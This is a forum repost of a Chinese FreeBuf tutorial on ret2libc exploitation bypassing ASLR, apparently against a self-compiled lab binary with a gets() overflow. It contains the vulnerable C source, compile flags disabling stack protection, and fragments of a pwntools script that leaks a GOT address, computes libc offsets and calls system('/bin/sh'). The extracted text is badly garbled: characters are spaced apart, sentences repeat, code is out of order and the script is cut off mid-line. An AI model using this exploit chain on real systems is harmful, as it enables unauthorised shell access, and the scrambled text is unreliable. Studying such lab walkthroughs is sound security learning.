搜索

[15346] 2020-05-08_ret2libc过地址随机化

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-08_ret2libc过地址随机化 r e t 2 l i b c 过 地 址 随 机 化 菜 鸡 C a i H   F r e e B u f   2 0 2 0 - 0 5 - 0 8 之 前 我 们 运 用 之 前 我 们 运 用 r e t 2 b l i c 技 术 时 ， 编 译 编 译 一 个 技 术 时 ， 编 译 编 译 一 个 c 文 件 ， 开 启 了 栈 不 可 执 行 关 闭 地 址 随 机 化 ， 那 么 利 用 这 个 溢 出 时 只 需 找 到 溢 出 点 的 位 置 ， 然 后 将 其 替 换 成 文 件 ， 开 启 了 栈 不 可 执 行 关 闭 地 址 随 机 化 ， 那 么 利 用 这 个 溢 出 时 只 需 找 到 溢 出 点 的 位 置 ， 然 后 将 其 替 换 成 s y s t e m 等 函 数 和 参 数 的 地 址 来 获 等 函 数 和 参 数 的 地 址 来 获 取 权 限 ， 这 种 情 况 下 取 权 限 ， 这 种 情 况 下 s y s t e m 与 与 ' / b i n / s h ' 的 地 址 并 不 会 改 变 。 而 现 在 ， 我 们 在 编 译 的 地 址 并 不 会 改 变 。 而 现 在 ， 我 们 在 编 译 c 文 件 时 ， 开 启 了 栈 不 可 执 行 和 地 址 随 机 化 ， 文 件 时 ， 开 启 了 栈 不 可 执 行 和 地 址 随 机 化 ， s y s t e m 和 和 ' / b i n / s h ' 会 发 生 改 变 ， 那 我 们 该 如 何 获 取 会 发 生 改 变 ， 那 我 们 该 如 何 获 取 s y s t e m 等 等 的 位 置 呢 ？ 的 位 置 呢 ？ 首 先 ， 这 是 我 们 进 行 实 验 的 1 . c 文 件 ， 我 们 可 以 利 用 g e t s ( ) 函 数 来 进 行 溢 出 我 们 将 其 编 译 设 置 为 栈 不 可 执 行 和 地 址 随 机 化 接 着 ， 找 出 溢 出 点 的 位 置 ： 溢 出 点 的 位 置 为 2 2 。 那 么 ， 我 们 要 进 行 最 重 要 的 一 步 ， 找 出 s y s t e m 和 ' / b i n / s h ' 的 地 址 。 这 里 我 们 需 要 了 解 几 个 知 识 点 ： （ 1 ） s y s t e m   函 数 属 于   l i b c ， 而   l i b c . s o   动 态 链 接 库 中 的 函 数 之 间 相 对 偏 移 是 固 定 的 （ 即 使 打 开 A S L R 也 是 这 样 的 ） （ 2 ） 在 l i n u x 的 g c c 使 用 C 语 言 源 文 件 的 二 进 制 文 件 时 ， 经 过 预 处 理 ， 编 译 ， 汇 编 ， 链 接 过 程 后 ， 就 会 生 成 一 个 E L F 格 式 的 可 以 执 行 的 文 件 。 例 如 通 过 g c c   h e l l o . c   - o   h e l l o 即 可 生 成 一 个 文 件 名 为 h e l l o 的 可 执 行 文 件 ， 该 程 序 会 输 出 H e l l o   W o r l d （ 3 ） P L T 表 中 的 数 据 不 是 函 数 的 真 实 地 址 ， 即 带 有 @ p l t 标 志 的 函 数 ， 起 个 过 渡 作 用 （ 4 ） G O T 表 项 中 的 数 据 才 是 函 数 最 终 的 地 址 ， 而 P L T 表 中 的 数 据 又 是 G O T 表 项 的 地 址 ， 我 们 就 可 以 通 过 P L T 表 跳 转 到 G O T 表 来 得 到 函 数 真 正 的 地 址 （ 5 ） 地 址 随 机 化 并 没 有 对 P L T 表 、 G O T 表 产 生 作 用 了 解 到 上 面 的 知 识 点 后 ， 可 以 用 下 面 的 思 路 来 获 取 地 址 ： （ 1 ） 找 到 g e t s 函 数 的 真 实 地 址 （ 2 ） 计 算 出 s y s t e m 和 / b i n / s h 这 两 个 参 数 与 g e t s 函 数 真 实 地 址 之 间 的 差 值 ， 这 样 就 可 以 找 出 s y s t e m 与 / b i n / s h 的 地 址 （ 3 ） 构 造 p a y l o a d 进 行 溢 出 那 么 我 们 该 如 何 获 取 g e t s 函 数 的 真 实 地 址 呢 ？ 这 里 可 以 看 见 调 用 了 g e t s （ ） 函 数 ， 还 可 以 看 见 g e t s @ p l t 那 么 使 用 此 语 句 查 看 P L T 表 ： o b j d u m p   - d   - M   i n t e l   - j   . p l t   1 . e x e # i n c l u d e   < s t d i o . h > c h a r   b u f 2 [ 2 0 ] = " t h i s   i s   b u f 2 " ; v o i d   v u l ( ) { c h a r   b u f 1 [ 1 0 ] ; g e t s ( b u f 1 ) ; } v o i d   m a i n ( ) { w r i t e ( 1 , " s i n x x " , 5 ) ; v u l ( ) ; } g c c   - m 3 2   - f n o - s t a c k - p r o t e c t o r   - n o - p i e     - o   1 . e x e   1 . c
可 以 看 见 在 我 们 执 行 g e t s 函 数 时 ， 我 们 会 先 去 到 p l t 表 ， 然 后 又 会 j m p 到 G O T 里 面 的 真 实 地 址 ： 0 x 8 0 4 9 0 3 0 接 下 来 我 们 计 算 计 算 s y s t e m 、 / b i n / s h 与 g e t s 函 数 的 相 对 偏 移 先 加 载 1 . e x e 依 赖 的 库 ， l d d   1 . e x e 看 程 序 依 赖 什 么 库 。 相 对 偏 移 地 址 为   g e t s 函 数 的 真 实 地 址 减 去 在 l i b c 中 的 地 址 ： 我 么 就 能 知 道 s y s t e m 与 ' / b i n / s h ' 的 真 实 地 址 了 ， 分 别 为 ： 接 下 来 我 们 就 可 以 开 始 写 p y t h o n 文 件 1 . p y 了 ： 要 注 意 的 是 p a y l o a d 1 的 构 成 结 构 ， p a y l o a d 1 = o f f s e t * ‘ a ’ + p 3 2 ( a d d r w r i t e ) + p 3 2 ( a d d r v u l ) + p 3 2 ( 1 ) + p 3 2 ( a d d r _ g e t s ) + p 3 2 ( 4 ) 我 们 在 c a l l 一 个 函 数 的 时 候 会 先 将 这 个 函 数 的 地 址 压 入 堆 栈 ， 然 后 将 执 行 完 函 数 要 跳 转 到 的 地 址 压 入 堆 栈 ， 再 将 函 数 的 参 数 压 入 堆 栈 ， 我 们 将 v u l 的 地 址 当 成 函 数 执 行 完 之 后 的 跳 转 地 址 ， 那 么 就 可 以 跳 转 到 p a y l o a d 2 上 。 而 且 为 了 获 取 g e t s 的 真 实 地 址 ， 调 用 了 w r i t e 这 个 函 数 ， 然 后 将 g o t 表 中 g e t s 的 真 实 地 址 打 印 出 来 ， 其 中 ' 1 ' 和 ' 4 ' 是 w r i t e 的 两 个 参 数 。 而 在 构 造 p a y l o a d 2 的 时 候 p a y l o a d 2 = o f f s e t * ' a ' + p 3 2 ( a d d r s y s t e m ) + p 3 2 ( 0 ) + p 3 2 ( a d d r b i n s h ) 我 们 需 要 压 入   执 行 完 函 数 之 后 要 跳 转 的 地 址 ， 由 于 我 们 进 行 交 互 之 后 不 需 要 考 虑 是 否 平 衡 堆 栈 ， 所 以 这 个 地 址 我 们 写 0 。 最 后 我 们 执 行 这 个 p y t h o n 文 件 ， 成 功 获 得 系 统 权 限 ： * 本 文 作 者 ： 菜 鸡 本 文 作 者 ： 菜 鸡 C a i H ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 r v a _ l i b c = g e t s _ r e a l _ a d d r - l i b c . s y m b o l s [ " g e t s " ] a d d r _ s y s t e m = r v a _ l i b c + l i b c . s y m b o l s [ " s y s t e m " ] a d d r _ b i n s h = r v a l _ l i b c + l i b c . s e a r c h ( " / b i n / s h " ) . n e x t ( ) f r o m   p w n   i m p o r t   * c o n t e x t ( a r c h = " i 3 8 6 " , o s = " l i n u x " ) p = p r o c e s s ( " 1 . e x e " ) / / 加 载 1 . e x e 进 程 e = E L F ( " 1 . e x e " ) / / 加 载 1 . e x e 文 件 , 分 析 E L F 结 构 a d d r _ w r i t e = e . p l t [ " w r i t e " ] a d d r _ g e t s = e . g o t [ " g e t s " ] / / g e t s 函 数 最 后 的 真 实 地 址 在 g o t 表 中 a d d r _ v u l = e . s y m b o l s [
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理